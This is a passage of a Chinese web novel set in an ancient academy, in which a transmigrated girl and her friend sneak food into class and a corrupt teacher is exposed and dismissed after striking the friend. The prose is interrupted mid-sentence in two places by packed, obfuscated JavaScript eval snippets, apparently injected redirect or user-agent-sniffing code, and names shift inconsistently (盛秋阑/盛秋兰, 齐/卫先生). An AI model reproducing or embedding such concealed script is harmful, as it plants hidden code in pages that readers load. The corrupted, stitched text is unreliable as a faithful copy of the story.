一听就是为了掩盖自己用量不扎实才这样哄骗,估计就是看盛秋阑年纪较小,所以才会说什么信什么。 不过盛秋阑在别的时候挺精明,只是一加上江南两个字就变得很容易相信,也不知道为什么从小就开始惦记着南方,每次还表现得信誓旦旦。 “其实这种做法有一种别样的口味,你尝尝。” 碗中乍一看被透白色的馄饨皮淹没,盛秋兰找到完整的一个,放在傅如珩面前。 馄饨不像平时在街上看到的那样皮薄馅大,但是馅料却很鲜,外加上紫菜和虾皮,不会觉得过于单调无味,被煮透了的馄饨皮一下子就滑入喉中,甚至不需要过多咀嚼。 见傅如珩沉默的咽下口中的食物,盛秋阑得意地说:“怎么样?我没说错吧。” 一碗馄饨的分量不大,两个人分食着解决了,太阳暖融融地照在肩膀上,傅如珩歪头看向盛秋阑捧着碗喝汤的样子,碗几乎要把整张脸都罩住,只露出了毛茸茸的额发。 明明已经过去了几年,但又好像什么都没有变。 37. 藏东西大法 盛秋阑放下碗,满足地慰叹一声,随即慌忙整理东西:“快要来不及了。” 傅如珩早已经收拾完等候在一边,两只手提起刚刚买的所有吃食,向着马车原先停下的方向走去。 车夫在正午的阳光下靠着马车昏昏欲睡,口中还叼着一根干草,听见不远处越来越近的脚步声,微微睁开眼睛。 “快上来!”盛秋阑一把跳上马车,催促傅如珩。 收人钱办人事,见盛秋阑如此着急,车夫也不多话。两人先后坐在马车当中,傅如珩刚刚坐稳,车辆就开始行驶。 来时的情景还历历在目,傅如珩假装看着外面,其实分出了大部分精力来观察身边人的动静,尤其是车辆轻微颠簸的时候,更是全身下意识绷紧。 只不过这一次盛秋阑长了一个心眼,手抓着旁边凸起的木杆,没有再晃到他怀里。 说不清楚是失落还是放松,傅如珩默默抓紧了手中的东西,食物的香气在狭小的车厢当中飘散,各种味道混杂在一起,宛若把刚才街上看到的烟火全部都搬了过来。 马车照例在小巷口停下来,盛秋阑率先跳下去,分走了傅如珩手上一半的食物:“来不及了啊啊啊!” 她面上表现得着急,实则手一点都没有放松,那些食物稳稳当当的被拿在手中。 只是来到外墙的墙根,盛秋阑犯了难,这些食物拎在手中算是添了负担,跑步的时候尚且能够保持平衡,若是想带着它们翻墙却不容易,且不论翻过去之后包装中的食物会不会被打散,两只手已经满满当当,没有多余的空闲抓住砖块了,更不要说落地。 “怎么了?” 傅如珩晚了一步赶来,见刚才还急急忙忙的女孩现在停留在墙根,面色苦恼。 盛秋阑向他展示自己手上的东西:“拿着这些过不去。” 傅如珩手上同样也提着东西,时间一分一秒过去,容不得他们过多犹豫。他将自己手上的部分也交给盛秋阑,后者手上又多了几样东西,彻底分不出多余的手指。 “你先把东西放在砖块上。” 砖面有一定的宽度,盛秋阑分了几部分,一时间原本光裸的砖面上放着各种包装的小吃,仿若某种无人小摊。 终于空出手来,盛秋阑抓住剩余的砖块,如同来时那样跨坐在上面。她还没有来得及问之后应该怎么办,旁边飞出来一个身影,傅如珩几乎只是单手撑了一下砖面,随即半刻也没有停地跳下去,垂直落地。 他朝着盛秋阑伸手:“把东西递过来。” 在这种高度差下,两个人刚好能够双手触碰到,盛秋阑眼睛一亮,一开始还是一袋一袋递过去,后来干脆好几袋一次,身边的东西一一减少,直到最后一袋也平稳交接。 现在还挂在墙上的只剩下盛秋阑本人,想到刚才傅如珩飘逸的身形,盛秋阑跃跃欲试,势必要在这时候给傅如珩展现一下自己的实力。 她冲着傅如珩摆摆手,示意对方退开,随即挑选了一个自我感觉比较潇洒的姿势,看也不看地就往下落,没想到傅如珩此时前进了一步,刚好站在她要落脚的地方。 盛秋阑:!!! 她顾不上自己原本准备的落地姿势,闭紧了眼睛,准备迎接碰撞带来的疼痛,可预想中的酸痛却没有到来,反而落入了一个结实的怀抱中。 傅如珩身上带着一股冷冽的清香,但是不会让人觉得很难接近,反而围绕在身边,显得柔和温润,让人联想到刚刚开采出来的冷玉。 他的双手牢牢地拖住盛秋阑的背,一直悬空的双脚终于安稳落地,就连一丝丝不适都没有,比起盛秋阑之前被震得脚底发麻,这种方式明显柔和了不少。 一阵风吹过,竹林沙沙作响,阳光照在他们身上,如同天然的光环,两个人的影子投影在草地上,亲密无间地靠在一起,任何人见了都能清楚他们关系不菲。 只可惜傅如珩此时面对的人是个完全不解风情的,盛秋阑脑中还在遗憾着自己没有完成的落地姿势,毕竟被人抱着落地,怎么看都和酷搭不上边,更别提刚才傅如珩身轻如燕,轻轻一点就落地了,两者相比起来,显得她连这点勇气都没有。 盛秋阑望着身后的半堵墙,虽然对她来说有一些高度,但是换做任何一个成年人来说都算不了什么。 她刚才就是跳下这里的时候闭眼了?那丢脸的样子岂不是全都被看见了? 盛秋阑觉得这绝不是自己太过胆小,只是傅如珩的行为不在预料之中,闭眼睛也是情有可原。 她在心中找好了借口:“我不是刚刚冲你挥手了吗?” 两个人之前一贯默契,所以盛秋阑才敢在做完动作的时候看都不看就往下跳,没想到傅如珩却在这个时候理解错误了。 “之前接东西顺手了,没有反应过来。” 没反应过来?可是傅如珩明明还往前走了一步。 盛秋阑抓住了某个疑点,正想要继续追问,傅如珩适时岔开话题。 “之间不是说要来不及了?” 对了,还要上课。 盛秋阑抓起刚刚放在地上的东西,朝着讲堂跑过去,傅如珩紧紧跟在后面,伤着前面的声音,脑海当中却浮现出刚才女生从墙头跳下来的画面。 材质轻盈的衣袖翻飞,在空中随意舞动,如同一只轻快飞舞的蝴蝶,一双眼睛在看到他时先是微微睁大,随即又闭上,五官皱在一起,紧张不安地迎接即将来临的时刻。 傅如珩当然看懂了盛秋阑的暗示,但是他还是没有照做,遵从着内心上前把人接住了,稳稳拥入怀中。 临近讲堂门口,前面的脚步停下,盛秋阑在自己身上找寻着口袋,试图将手上的东西隐藏起来。 见傅如珩想要直接上前,她赶紧拦住:“你就这样进去了?这么明显肯定要被看见的,快藏在身上,像我这样。” 昨天的糖雪球藏在身上还不算明显,今日大包小包全都塞进去,身体就变得鼓鼓囊囊,看起来腰肢宽了一圈,也幸好盛秋阑虽然爱吃,但是完全不胖,看着倒也不违和,只有熟悉的人能看出端倪。 傅如珩依照着盛秋阑的指挥,将自己的外衫敞开,等到将还散发着热气的食物塞进去之后,再将腰带系起来,正正好好卡住袋子的中部。 他手上的东西比盛秋阑要多,看起来也更加明显一点。 “那个袋子再往旁边移一下,现在凸出来了。”盛秋阑指了两次,见还是很明显,直接开始上手扯要带,“我来吧。” 她干脆地扯下了刚刚绑好的腰带,将突起的部分往侧腰处移动,为了防止掉落还用力摁了摁。 这处本来就相对敏感,傅如珩微微仰起头不看正在弯腰整理的人,深深呼出一口气。 胸前敞开的地方被重新收紧,盛秋阑上上下下打量了一遍,确定没有容易穿帮的地方,才踏进讲堂门。 哪怕之前已经紧赶慢赶,这一次他们还是迟了,盛秋阑望见站在讲台前方的先生,左手往后,做了一个“暂缓”的手势,原本跟在后面想要进去的傅如珩停下脚步,侧过身子,刚好隐蔽了身形。 他能够清晰地听到里面传来的对话。 “你来迟了。” “先生恕罪,弟子方才正在打扫,没看时辰。” 盛秋阑对待其他先生一向有礼,平时也没有过迟到的情况,台上的先生自然是知道她前段时间的事情,猜到这是齐先生所立的惩戒,没有过多苛责:“罢了,你回座位吧。” 盛秋阑乖巧地回到自己的座位上,见傅如珩没有跟过来,暗自松了一口气。 幸好这次傅如珩看懂了她的暗示,一个人迟到还能解释,若是两个人迟到就不能用这个理由了。 傅如珩计算着时间,估摸着差不多了,才慢慢挪步到讲堂门口:“先生。” 台上讲课的先生皱着眉:“你又是何故迟到?” 傅如珩面不改色:“午休时弟子腹痛难忍,如厕稍迟。” 怀中的东西经过这段时间隐隐有掉落的趋势,一根腰带挡不住,傅如珩稍稍抬手,捂住了那处地方,看起来显得更加真实。 先生面色缓和:“既如此,无妨,下次若有不适可提前差人告知。” 空缺的两个座位终于被填满,盛秋阑见傅如珩顺利进来,悄悄松了一口气,她怀中的东西已经拿出来了,傅如珩坐在位置上,腰带终于支撑不住,变得松松垮垮,怀中的东西顺势落在腿间。 “我怎么又闻到香味了?”旁边的人抽了抽鼻子,小声的说。 盛秋阑本来想去拿东西的手一顿,立刻放在桌面上,一副事不关己的样子。 “我好像也闻到了,是烧饼。” “哪有,明明是酥油小麻花。” 两人昨日被先生警告了一番之后不再有动作,没想到今日这气味又出现了,终究还是忍受不住好奇,小声探讨,只是这次他们意见不一。 “莫非真是有人带吃的了?” “可是刚刚还没味道的,迟到的两个人进来之后才有香气。” 莫非要被发现了? 盛秋阑心头一紧,盘算着自己从带来的吃食中拿出一些贿赂能不能让他们不告状。 另一个人随即反驳:“可是他们进来的时候我们都看见了,身上根本没有拿东西。” “说的也是,大抵是我中午没吃饱饿了,闻着这味,我倒还真有些想吃饼了。” “我也是……” 香气若有若无地勾引着他们,肚子当中正在抗议,两个人有气无力地趴在桌子上,努力去忽略空气中的香气。 见他们这副可怜的样子,盛秋阑也不好现在拿出来,带回来的食物还是热乎的,全都被塞在了桌子底下。 终于等到台上先生走出去,盛秋阑小心翼翼的从下面将食物拿出来,只是这时候东西已经有些冷掉了,只残留着一点点热度。 周围的人纷纷起来活动,盛秋阑左看看右看看,见没有人注意他们这处地方,正打算低头吃一口自己心心念念的饼,后面突然传来一个神秘兮兮的呼喊。 她手一抖,外层酥脆的饼皮掉了一大块出来。 “干嘛?” “我感觉我们学堂有怪事。” 学校这种地方总是充满着灵异鬼怪小说,无非是什么坟场或是女鬼,盛秋阑早已经听过了各种版本,对此一点都不害怕,心中还惦记着自己刚才没有吃完的饼。 她敷衍道:“哪儿奇怪了?” “就这两天,每次一到固定的时间点,讲堂里面总会有奇怪的香味,闻起来像是街上卖的食物,”长孙胜刻意停顿了一下,“但我感觉这个香味背后却不简单。” “说不定这表面的食物香气就是为了迷惑我们的,其实里面掺杂着迷魂粉,一时半会儿没有感觉,但是时间一长可能我们就中计了。” 若不是这些东西就是盛秋阑带来的,现在还好好地躺在她座位上,光是长孙胜这煞有其事的样子,她差点就要相信了。 盛秋阑起了逗弄的心思,她的表情从一开始的漫不经心到后来的些许恐慌:“怪不得!” “怎么样?你也有这种预感是不是?”长孙胜一副遇见知音的样子,“不过我们逃不出去,要不要告诉先生他们,这样说不定还能提前放假。” 其实最后一句才是关键吧。 盛秋阑依旧配合:“可是无凭无据的东西,先生肯定不相信。” 长孙胜显然也感觉这个计划太过简陋:“那怎么办?” “这样,我有一个办法能够将这背后的气味勾出来。” “什么法子?” “你闭上眼睛,我这个办法不能公开,一旦睁着眼睛就没效果了。” 长孙胜闭上眼睛,盛秋阑趁着这时候从底下的袋子中揪了一小块饼,掩在自己的手心上,随后将饼移动到长孙胜的鼻尖下。 “怎么样?是不是有味道了?” 虽然闭着眼睛,但是长孙胜还真闻到了那股一下午都在勾着自己的香味,他惊喜道:“还真是,原本这气味都没有了,现在怎么又出现了。” “你再仔细闻闻,有没有觉得脑袋晕晕的?” 长孙胜细细感受:“你这么一说,好像还真有点。” “想不想睡觉?” “想,感觉闭上眼睛很舒服。” 他们交流到这里,长孙胜再也等不了,想要睁开眼睛。 “这样是不是就坐实了这个香味中还真有其他成分,不然怎么你说的这些点我都中了,咱们快去跟先生说吧。” 盛秋阑见自己的小伎俩要暴露,眼疾手快地赶在长孙胜睁眼之前将手中的饼塞到他嘴里。 “哎,这是什么?”长孙胜下意识嚼了嚼。 微凉的饼皮中夹着干菜馅,咸淡正好,还有芝麻的香气。 他奇怪着自己口中怎么会有饼,将饼咽下去之后,睁开眼望见其他三人都跟看傻子似的看着自己。 林辞殊面露担忧:“你家的家产要是落到你手里不会被败光吧。” “我爹娘之前还讨论过这个问题呢,不过他们说只要我不突发奇想去建个新产业或是得罪官府,足够让我最后五代都安安稳稳的。” 长孙胜无意间秀了一波财富,让其他人都哑口无言。 “你们还没说呢,哪来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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盛秋阑拍了拍自己的肚子:“藏在衣服里就不会被发现了。” 她小时候不让吃辣条这种垃圾食品,只能偷偷拿着一些硬币跑到小卖部中买,回来的时候就将辣条藏在衣服口袋里,宽大的衣服能够将小小的一包辣条遮得七七八八,若是运气不好刚好在门口被撞见了,就谎称是出去玩了。像夏天这种只能穿短袖的天气,就直接塞到衣服中,再将衣服下摆塞进裤腰带中,就不会掉下来了。 只是这种方法也有弊端,有时候盛秋阑没有忍住,在路上就把辣条吃完了,她本以为毁尸灭迹就不会被发现,没想到一张嘴就被浓重的香料味给暴露了。 “你是不是又去买那些垃圾了?” 她脑子里回想着自己的破绽:“没有啊。” “还敢撒谎?明明浑身都是辣条味。” 最终还是没能逃过一顿教训,在这之后盛秋阑就长了个心眼,在买辣条的时候顺便拿上三颗泡泡糖,只需要五毛钱就能抓一把,吃完辣条就嚼几颗泡泡糖掩盖味道。 之前的回忆经过这十几年已经逐渐快要忘却,唯有在面临相似场景的时候才能在脑海中被重新翻出来。 盛秋阑有时候也会思考自己会不会重新回去,毕竟她来到这里也是一个意外,只是这一世有了关心她的家人和身边好友,对于回到原来世界的执念本就不深,现在已经有了感情,更是不愿再回去。 待在这里也挺好,虽说要重新长大一遍,但日子过得也很快活。 一双手在眼前晃了晃:“想什么呢?” 盛秋阑回过神来,不知道什么时候其他三个人都在看着自己。 “啊,怎么了?” “我们刚刚在说放假的事情,还有不到一个月就放假了,问问你有什么安排?” “我应该还是在京城吧。” 盛家没有其他地方的亲眷,主要活动场所也是在京城,更何况算算时间,她大哥一年之后就要去会试了,应该会留在家中。 长孙胜面露失望:“好吧,我刚刚还想问你要不要和我一起去我家新买下的山庄避暑。” 他家中没有同龄人,就算去避暑也很无聊,还想撺掇着好友跟他一起去。 京中的夏天确实炎热,盛秋阑有一瞬间心动。 “那你们呢?” 林辞殊:“上学这段时间我还没有回过闽中,祖父先前来信说想我了,所以我假期不留在京城。” 算下来她上学也有小半年了,盛秋阑点头,转头看向傅如珩。 傅如珩不用回去,而且据她之前了解,他们家应该也没有避暑山庄:“那你呢?” “我还不清楚。” 课程逐渐步入结尾,今年是他们来到中舍的第一年,课程相比起之前难度没有提升得很多,主要还是为了让他们适应,据说明年可能还会有其他变数。 “明年不会还是齐先生教吧。” 自从上次盛秋阑向娘亲提过之后,一连几天都没有动静,眼看着上半年的课程已经要结束了,齐先生还是好端端地在台上给他们讲课。 在最开始因为怀疑收敛了一些之后,齐先生后续终于联系到了那位学正,后者刚开始还没放在心上,听到后来表情变得严肃了,甚至闪过几抹慌乱。 “我没跟任何人说过,这可跟我没关系,你若是被底下的学生发现了也不要来找我,我们之间原先的交易就是我把你送进去,现在出了事也是你一个人担着。” 学正的表情看起来不像是在说假话,齐先生稍稍放下心来,随即被委婉地请了出去,后来再递帖子学正就没松过口,势必要把关系撇干净。 他回去之后惶惶不安了好几天,直到一天天过去,见一切如常,齐先生逐渐放松了警戒。 他就说,这群小崽子怎么可能知道这种秘密,估计还真是误打误撞。 想到自己这几天都因为这点莫须有的事情愁得整夜没睡好觉,齐先生放松之余又有些恼火。 早知道不应该因为一时间的胡思乱想而打乱阵脚,还因此定下了一个不痛不痒的惩罚。 只是当时让盛秋阑去打扫书阁以示惩戒是他在全班面前说的,若是想要反悔,反而伤了自己的信用,但他又不甘心让盛秋阑就这样过去。 下节正是他的课,齐先生一边思虑着方法一边朝着讲堂的方向走去,虽说还没有响铃,但见到先生站在讲席面前,其他学生还是乖乖在位置上坐好了,唯有盛秋阑还低着头。 齐先生正愁没有机会,见状拿着他不离手的戒尺走下去。这几日就连上课都没什么心思,现在倒是能够好好看着这群人。 班上人的眼睛低垂,实则一直关注着齐先生的动作,见他走路的方向,眼中明了。 大概又是盯上盛秋阑了。 盛秋阑匆匆忙忙咽下自己口中的食物,刚好把蜜饯塞进书箧里,盖上木盒盖子的下一秒。 “什么东西,拿出来!” 38. 当堂对峙 自从之前意外发现小说之后,虽然其他人已经提高了警戒,没再发现其他本子,但齐先生还是耿耿于怀,此时看见盛秋阑低着头不知道在做些什么的时候,疑心顿起。 盛秋阑早已经收拾好了桌子,确定没有可以暴露自己的地方,面对质问坦坦荡荡。 “先生,我只是在两堂课之间歇息片刻。” 齐先生不相信:“歇息,正午时间还不够吗?” 盛秋阑模样无辜:“您忘了?正午时您让我去书阁打扫了。” 身边有学生忍不住笑出声来,齐先生一时间还真忘了自己给盛秋阑规定的时辰,现在在众目睽睽之下打了脸,脸上青一阵白一阵。 他先前以为这群屁大点大的小孩子吓一吓就老实了,哪怕班上有刺头,多教训一下也会安分下来,没想到遇上盛秋阑这个不按套路出牌的。 齐先生明显感觉到了挑衅,但话是自己说的,盛秋阑只是重复了一遍,以至于让他有火也不知道往哪里发。 只不过忍得多了,身体到达了临界值,亟需一个需要发泄的出口。 先前积攒的怒气连带着这次一起爆发,强烈的情绪涌上心头,连带着耳中都开始嗡鸣。 齐先生忘了自己身为教书先生的禁忌,一气之下举起手上的戒尺。 深色戒尺在空中被高高立起,这种戒尺平时只是用来警戒,却没有真的动过手,其他人也没想到齐先生居然会动手,一时之间全都呆愣住。 齐先生已然管不了其他人的反应,就在落下的时候,最后一丝理智终于上线,他回想起自己为了拥有这份工作做了多少努力,若是真打到身上,必定要被免除职务。 想清楚的那一刻,齐先生手腕一转,硬生生偏离了原来的路线。 只是傅如珩先前见势不对,将盛秋阑护在后面,自己用手臂向前挡住了戒尺,好巧不巧刚好与偏离的轨迹撞上。 “啪。” 空阔的讲堂内响起了戒尺与皮肤碰撞的声响,被打中的那处地方迅速泛起红肿,上面浮现出一道清晰的印子,看着就疼。 周围不少人已经感同身受地开始表情扭曲,真正挨打的傅如珩却只是微皱一下眉。 盛秋阑这时候才终于反应过来,她看着傅如珩手臂上显眼的红痕,眼中闪过鲜明的怒火,噌得一下站起来。 齐先生此时已经有点傻眼了,他原本只是想要吓唬一下,在这里上学的人背后个个都出身显贵,得罪哪一个自己都没有好果子吃,更何况施加惩罚,若是被发现了,凭他这个身份,哪怕倾家荡产,恐怕也不会有人愿意帮他。 齐先生的眼中闪过慌乱和无措,在盛秋阑开口之后更是不知如何应对。 “先生无缘无故便怀疑我,如今还出手责打,弟子怕是不敢再学了。” 盛秋阑面色很冷,看起来比自己被打还要生气,没有再像平常一贯伶牙俐齿,但这样一字一顿地说话,反而比之前更加有气势。 她原本并不着急,想要等着贺兰谨出手,但是这次齐先生伤了傅如珩,盛秋阑就不想要再等下去了。 她要让齐先生离开学堂。 这番话一出,齐先生神色顿变,这已经是明晃晃要将他革职的意思。 先不论自己会不会受到惩罚,光是知道他是因此而被革职,其他学堂也不敢再将他招进来,毕竟中舍是全京城身份地位最高的学子聚集之处,那些人自然不傻,为了一个教书先生得罪这些高官。 完了,全都完了。 齐先生脸色灰败,右手颤抖,都快要拿不住手心里的戒尺。 那一把刚才还威风凛凛挥起的木尺如今颓败的落下,表面好像都蒙上了一层灰色。 见盛秋阑放完话后已经不看他,齐先生心中慌乱,还想要做最后的挣扎。 “为师……老夫刚才一时失察,向公子赔罪,能否饶过这一回,日后老夫绝不敢再有半分冒犯!” 他的语气放得极低,一贯挺直的脊背佝偻起来,再也看不见原本的高高在上。 只是这一次他踩到了盛秋阑的底线,后者态度坚定,甚至都没有正眼看他一眼,所有注意全部都放在傅如珩的那条手臂上。 “疼吗?” 盛秋阑话一说出口就觉得自己说了个废话,胳膊上面的伤口还在不断肿大,就连衣袖都掩盖不住,旁人都不忍再看,怎么可能不疼? 盛秋阑小心翼翼地避开那一道红色痕迹,几乎要把上面的痧棱全部都记住了 ,眼睛已经睁得发酸,却还是不想移开。 一双手轻轻覆盖在眼皮上,阻隔了她的视线。 “不疼,不想看就别看了。” 傅如珩用另一双完好的手遮住盛秋阑的眼睛,纤长的睫毛微颤,扫在他的手心中,这小小的动静甚至掩盖了手臂上的疼痛。 盛秋阑执拗地挥开他的手,依旧牢牢盯着。 身边有人递来了一盒药膏:“我这边备着跌倒损伤的药膏,应该能用上。” 盛秋阑谢过那人,从盒中挖出一大块白色膏体,轻轻覆盖在红痕上面。 单单看挖出来的膏体觉得已经不少,但是等到放在伤口上面时,才发现是小巫见大巫。那一点白色哪怕被均匀揉开也只是浅浅附着了表面,第二次叠加上去才勉强算是完整涂好。 盛秋阑平时做事大大咧咧,就连自己受伤也没放在心上,但涂药的时候却难得集中注意,手指轻柔地抹着药膏,生怕力道重一点就会让傅如珩难受。 哪怕已经如此小心,她还是不放心,一边抹一边问:“这样会疼吗?” 柔软的指腹若有若无地蹭着皮肤,冰凉的药膏抹在发热肿胀的伤口处,驱散了一些不适感。 傅如珩只在最开始的时候看了一眼手臂,随后眼睛就将注意换到涂药的人身上。 女孩皱着眉头,全神贯注地盯着伤口,刚才说话时候的冷意到现在还没有挥散,绷着一张脸,嘴角处笑起来就会浮现的梨涡隐匿不见。 看着盛秋阑这个样子,傅如珩心中反而涌上轻松和愉悦。 哪怕身边围着这么多人,但盛秋阑的所有注意只放在他身上,所有的情绪也因他牵动。 哪怕已经抹好了药膏,盛秋阑依旧不肯放手,仿佛对待某件非常珍贵的东西。 傅如珩神情是少见的轻缓,若是忽略手上的伤口,几乎要以为他是遇见了什么好事。 盛秋阑涂完之后还是不放心,想叫大夫来看看,傅如珩开口了。 “要不你帮我吹一吹?” 大家都不是几岁的小孩子,不会再相信吹一吹就能好这种哄人的话,毕竟伤口长在自己身上,不是一点心理作用就能够抵消的,尤其是当说出这句话的人是傅如珩,显得更加奇怪。 身边原本同样面露担忧的人听到这句话之后都不免露出疑惑的表情,但盛秋阑此时关心则乱,竟然没有觉得不对,立即照做。 微凉的气流拂过皮肤表面,带起药膏的镇静作用。 盛秋阑生怕有哪一处没有照顾到,沿着手臂从上之下全都吹了个遍,腮帮子鼓起又瘪下去,到后来脸颊都开始酸痛。 “好点了吗?要不要再来一遍?” 傅如珩欣赏够了,自然没舍得让盛秋阑再吹一遍:“好多了。” 他将宽大的袖口放下,已经被吸收的差不多了的药膏和伤口全都隐在布料下面。 没有人在乎齐先生是什么时候走的,盛秋阑那一番话说出去,大家都已经预见了他的命运。 下学之后,盛秋阑亦步亦趋地跟在傅如珩后面,一直将人送上马车,还不忘第八次提醒:“回去记得……” 她这一番话来来回回说了一个下午,傅如珩几乎要听出茧子了。 “让府中的大夫帮我看一眼,还要涂药,我知道了。” 本来要说的话被提前讲出来,还是用这种无奈的口吻,换做平时盛秋阑肯定要炸毛,但是今天却没有反驳:“你记得就行。” 看出来她一个下午都兴致不高,傅如珩本来想借此让盛秋阑放松一点,见女孩还是神情低落,他才正色,语气是其他人都没有听过的温柔:“我会好好上药的,要不你来检查?” 这一番话在旁人听来有些暧昧,毕竟就算关系再好也不会在受伤的时候这样,但两个人都没觉得有什么问题。 受害者成为了安慰的人,费劲心思想要逗得面前的人一笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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据他说某位学正在孙先生临近致仕时经常跟这位齐先生见面,他原先没有放在心上,毕竟这位齐先生名气不大,就算在路中遇见也不一定能够认出来,还是贺兰谨提起之后脑中才有了模糊的轮廓。 “他们见面的时间选得巧妙,周围没有什么人,我也是偶然经过才发现的,现在看来倒确实有几分奇怪。” 寻常拜访不应该如此谨慎,最大的可能就是私下交易。 贺兰谨顺着他提供的线索又去问了附近的几个人,都得到了同样的答复,这一番调查费了几天的功夫,到了最近才将所有的证据交给祭酒,所以才拖了一会儿时间。 但盛秋阑没有这些线索,光凭着观察也得出了一样的结论。 惊讶之余,贺兰谨也没再瞒着,将所有的结果都告诉盛秋阑。 “既然如此,那便提前将事情办了。” 她看出来盛秋阑刚才那一番条理清晰的描述明显不是一天就想出来的,但之前已经耐心等了这么久,现在却着急起来,一副明天就要让人滚蛋的架势,贺兰谨不免好奇中间出现了什么变故。 “他打了傅如珩,”盛秋阑一想起这个就生气,“本来先生是朝着我挥下来的,但是傅如珩帮我挡了一下。” 一听说盛秋阑差点被打,贺兰谨也没有刚才那么从容了。 盛秋兰的样貌大多来源于她,尤其是一双眼睛,就连生气的时候也变得格外相像:“他竟然想教训你?” 盛秋阑在知道齐先生马上就要被处置的消息后就冷静下来了,现在反而换成了贺兰谨等不及了。 “不用等明天了,今天我就去让祭酒将先生革职,我倒想看看今后哪所学堂还敢收这种不知分寸的师长!” 盛秋阑原先觉得贺兰谨做事比较冷静才敢开口,毕竟要是换做她的两位兄长和父亲的话,这位齐先生就不只是革职这么简单了,说不定会连夜赶到他家里将人打一顿,都熬不到第二天。 她原本只是知会一声,没想到一向端庄大方的母亲竟然也会有如此大反应。 盛秋阑不免庆幸自己没有跟另外三个人说,自己对反应的预估还是保守了。 今夜注定要有人难眠。 39. 藏宝游戏 第二日的学堂异常热闹,不少人见了昨天那一场闹剧,全都暗戳戳地等待着看今天的好戏。 齐先生在这几个月里将他们折磨得不轻,如果说原先还只能在心中不爽,那昨天盛秋阑可以说是直接将底下的不满全都放在台面上了。 虽然狠话是盛秋阑一个人放的,但热闹是大家的啊。 盛秋阑如往常一样踏入教室,骚动声音停顿了片刻,所有人的目光集中在她身上,有的人想要凑上去打听目前的进度,但一贯话多的盛秋阑却忽略了他们,径直走向自己的座位。 “给我看看。”她急切地开口。 都不需要盛秋阑多说,傅如珩就在她靠近座位的时候就撩开了自己的袖口。 左手臂上昨日肿起的红痕消退了一些,虽然没有完全恢复,但比昨天的恐怖状况要好很多,似乎是早上刚刚涂了药,现在上面还有一些白色膏体的反光。 盛秋阑原本担心傅如珩会像之前那样不注意自己的伤口,见状提了一晚上的心放下来。 虽然盛秋阑没有说她昨天晚上做的事,但是看她的样子傅如珩已经知道了结果。 贺兰谨的动作一向很快,外加上有怒气加成,效率更是翻了一倍。 卫先生昨天回去之后就一直在担心受怕,一整晚都没闭上眼睛,找了自己能够动用的所有渠道想要求情。 那位学正自顾不暇,早已经不接见他,平日里那些稍有交集的官员也听到了些许风声,面对他的拜帖全都回绝了,在这种交集和不安之中,卫先生迎来了天亮。 等了一个晚上都是风平浪静,卫先生不知道盛秋阑回去是怎么说的,这种未知反而更加令人难捱,头顶上悬着一把剑,不知什么时候会落下来。 惴惴不安之中,他本想今天不去学堂,但其他有点价值的家当都在之前为了讨好学正变卖掉了,做先生得到的月俸也不算多,只剩下一处能够安寝的住所,就算逃也没有地方可去。 卫先生拖着脚步来到教室中,一夜不见,他的眼中满是红血丝,一双眼睛浑浊,眼下挂着两片青色,原本总是一丝不苟梳到脑后的头发也没有打理,横生出几根白发,那件青衫上满是褶皱,看起来奔波了许久。 走到台上,他下意识朝着盛秋阑的方向看了一眼,却没有得到半点眼神。 如今一看到盛秋阑,卫先生就想到了她昨天说过的话,视线如同被烫到一般又迅速收了回去,手中的书被翻得哗哗作响,疲倦的眼神却没有落到实处,原本早已经熟记的文字都在上面乱舞,好像在一瞬间变得晦涩难懂。 讲堂的门没有被关上,外面是难得的阴沉,一阵风吹过来把门卷起,引起“吱呀”的声响。 卫先生此时如同惊弓之鸟,一听到声音就慌乱地朝门口望去,后来发现是虚惊一场,只能怀着慌乱继续讲下去。 这种未知的恐慌比已知的惩罚更加扰乱心神,一句话颠三倒四说了好几遍,卫先生却根本记不清自己在讲什么。 原本他总会在讲课期间刻意停顿,巡视一番台下,这是他最得意的时候,看着平常身份高贵的人在台下低着头,如同已经掌控住了他们。 就算出身再怎么尊贵又如何,到了这里,他有合理的身份来责罚。 可今日他却不敢与任何人对视,就连脚下踩着的木地板都开始扭曲,整个人虚浮地站着,踩不到实处,甚至比底下的学生更希望这节课能够结束。 底下的人早已经不会像之前那样畏惧,卫先生自顾不暇,也管不了他们。 看他现在这个样子,他们已经不需要问盛秋阑,也知道距离卫先生被革职不远了。 在课上到中途时,外面突然传来了一阵骚动。 学堂之中素来清静,何况现在正是上课期间,怎么会有人在外面走动? 靠着窗户的学生已经探头探脑向外望去,台上的卫先生脸色已经白了,讲课声突兀地停在半途,却没有人再关注这个。 被一群人围在中间的人胡子花白,身穿着青色绫罗官袍,腰间系着玉带,随着走路轻微晃动,官袍的胸前绣着鸳鸯补子,小巧精致,一贯从容的步履有些凌乱,明显是急急忙忙赶过来。 祭酒怎么来了? 寻常来说,若是罢免会在私底下告知,就算想要将事情闹大放在台面上,也顶多派个小官来宣布,没想到会将学府的祭酒派来。 这就不只是丢工作的事情了,怕是要彻查到底。 齐先生原本还在安慰自己,见此情景,已经知道事情来到了自己最不想看到的最坏局面。 说不准事情已经败露了,原本还能在京城里找一份平常工作谋生,要是知道他与那位学正牵连,怕是要进大牢。 祭酒先前已经被贺兰谨告知了此事,在知道先生私下与他人有过交易后就开始搜集证据,原本资料都收集的差不多了,正打算循序渐进地将人拿下,并不计划将这些龌龊放到明面上来,没想到昨天临近睡觉,一封信却递到了他手里。 信中贺兰谨态度强硬,表明了要让这位齐先生身败涂地。 虽然贺兰谨在外面表现得端庄大方,但祭酒先前就与她有交情,知道若是有人惹了她,也是个极度护短的主,更何况她原本就是名门贵女,与盛怀德结亲之后更是极受重视,论起来比其他人还要不好惹。 侍郎这几年仕途一帆风顺,对于自家千金的宠爱祭酒也有所耳闻,不敢再拖延,熬了一晚上之后直接带人来到了学堂。 万幸前期准备已经充分,所以这一次突然袭击也有理有据。 几人将讲堂的前门后门全都堵住得严严实实,齐先生站在台上不上不下,就连想要逃跑的地方都没有,面上滚着冷汗,颓唐地听祭酒宣读。 